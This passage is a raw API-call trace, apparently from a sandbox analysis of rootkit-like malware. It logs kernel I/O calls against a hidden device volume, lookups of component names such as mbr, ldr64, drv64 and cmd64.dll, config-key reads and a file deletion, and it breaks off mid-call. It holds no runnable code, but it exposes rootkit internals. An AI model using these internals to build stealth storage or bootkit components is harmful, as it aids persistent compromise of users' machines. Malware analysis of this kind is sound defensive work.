[0128.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.544] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.544] IdePortDispatch () returned 0x103 [0128.545] KeWaitForMutexObject () returned 0x0 [0128.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365e530 [0128.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.545] KeLeaveCriticalRegion () [0128.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.545] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.545] KeEnterCriticalRegion () [0128.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.545] KeLeaveCriticalRegion () [0128.545] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.545] KeEnterCriticalRegion () [0128.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.545] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.545] IdePortDispatch () returned 0x103 [0128.545] KeWaitForMutexObject () returned 0x0 [0128.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.545] KeLeaveCriticalRegion () [0128.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.545] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.546] KeEnterCriticalRegion () [0128.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bf000 [0128.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.546] IdePortDispatch () returned 0x103 [0128.546] KeWaitForMutexObject () returned 0x0 [0128.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.546] IdePortDispatch () returned 0x103 [0128.546] KeWaitForMutexObject () returned 0x0 [0128.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.546] KeLeaveCriticalRegion () [0128.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.547] KeEnterCriticalRegion () [0128.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] KeLeaveCriticalRegion () [0128.547] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.547] KeEnterCriticalRegion () [0128.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] KeLeaveCriticalRegion () [0128.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.547] KeEnterCriticalRegion () [0128.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] ExFreePoolWithTag (P=0xfffffa800365e530, Tag=0x0) [0128.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] KeLeaveCriticalRegion () [0128.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.547] ReleaseMutex (hMutex=0xf0) returned 1 [0128.547] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.547] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.547] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.547] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.547] KeEnterCriticalRegion () [0128.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.547] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.547] IdePortDispatch () returned 0x103 [0128.547] KeWaitForMutexObject () returned 0x0 [0128.548] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.548] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.548] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.548] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.548] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.548] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.548] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.548] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.548] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.548] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.548] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.548] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.548] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.548] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.548] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.548] KeLeaveCriticalRegion () [0128.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.548] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.548] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.548] KeEnterCriticalRegion () [0128.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.548] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.548] IdePortDispatch () returned 0x103 [0128.548] KeWaitForMutexObject () returned 0x0 [0128.548] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.548] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.548] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.548] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.549] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.549] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.549] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.549] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.549] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.549] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.549] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.549] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.549] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.549] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.549] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.549] KeLeaveCriticalRegion () [0128.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.549] ReleaseMutex (hMutex=0x100) returned 1 [0128.549] Sleep (dwMilliseconds=0x2bf20) [0128.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fd2bb30, dwHighDateTime=0x1d24fa4)) [0128.555] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.555] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.556] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.556] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.556] KeEnterCriticalRegion () [0128.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.556] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.556] IdePortDispatch () returned 0x103 [0128.556] KeWaitForMutexObject () returned 0x0 [0128.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.556] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.556] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.556] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.556] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.556] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff090 [0128.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.556] KeLeaveCriticalRegion () [0128.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.556] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.556] KeEnterCriticalRegion () [0128.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.556] KeLeaveCriticalRegion () [0128.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.556] KeEnterCriticalRegion () [0128.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.556] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.556] IdePortDispatch () returned 0x103 [0128.556] KeWaitForMutexObject () returned 0x0 [0128.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.557] KeLeaveCriticalRegion () [0128.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.557] KeEnterCriticalRegion () [0128.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c2000 [0128.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.557] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.557] IdePortDispatch () returned 0x103 [0128.557] KeWaitForMutexObject () returned 0x0 [0128.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.557] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.557] IdePortDispatch () returned 0x103 [0128.557] KeWaitForMutexObject () returned 0x0 [0128.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.557] KeLeaveCriticalRegion () [0128.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.558] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.558] KeEnterCriticalRegion () [0128.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] KeLeaveCriticalRegion () [0128.558] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.558] KeEnterCriticalRegion () [0128.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.558] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] KeLeaveCriticalRegion () [0128.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.558] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.558] KeEnterCriticalRegion () [0128.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] ExFreePoolWithTag (P=0xfffffa8003bff090, Tag=0x0) [0128.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.558] KeLeaveCriticalRegion () [0128.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.558] ReleaseMutex (hMutex=0xf0) returned 1 [0128.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.558] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.559] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.559] KeEnterCriticalRegion () [0128.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.559] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.559] IdePortDispatch () returned 0x103 [0128.559] KeWaitForMutexObject () returned 0x0 [0128.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.559] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.559] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.559] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.559] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.559] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff700 [0128.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.559] KeLeaveCriticalRegion () [0128.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.559] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.559] KeEnterCriticalRegion () [0128.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.559] KeLeaveCriticalRegion () [0128.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.559] KeEnterCriticalRegion () [0128.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.559] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.559] IdePortDispatch () returned 0x103 [0128.559] KeWaitForMutexObject () returned 0x0 [0128.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.560] KeLeaveCriticalRegion () [0128.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.560] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.560] KeEnterCriticalRegion () [0128.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c3000 [0128.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.560] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.560] IdePortDispatch () returned 0x103 [0128.560] KeWaitForMutexObject () returned 0x0 [0128.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.560] IoAllocateMdl (in: 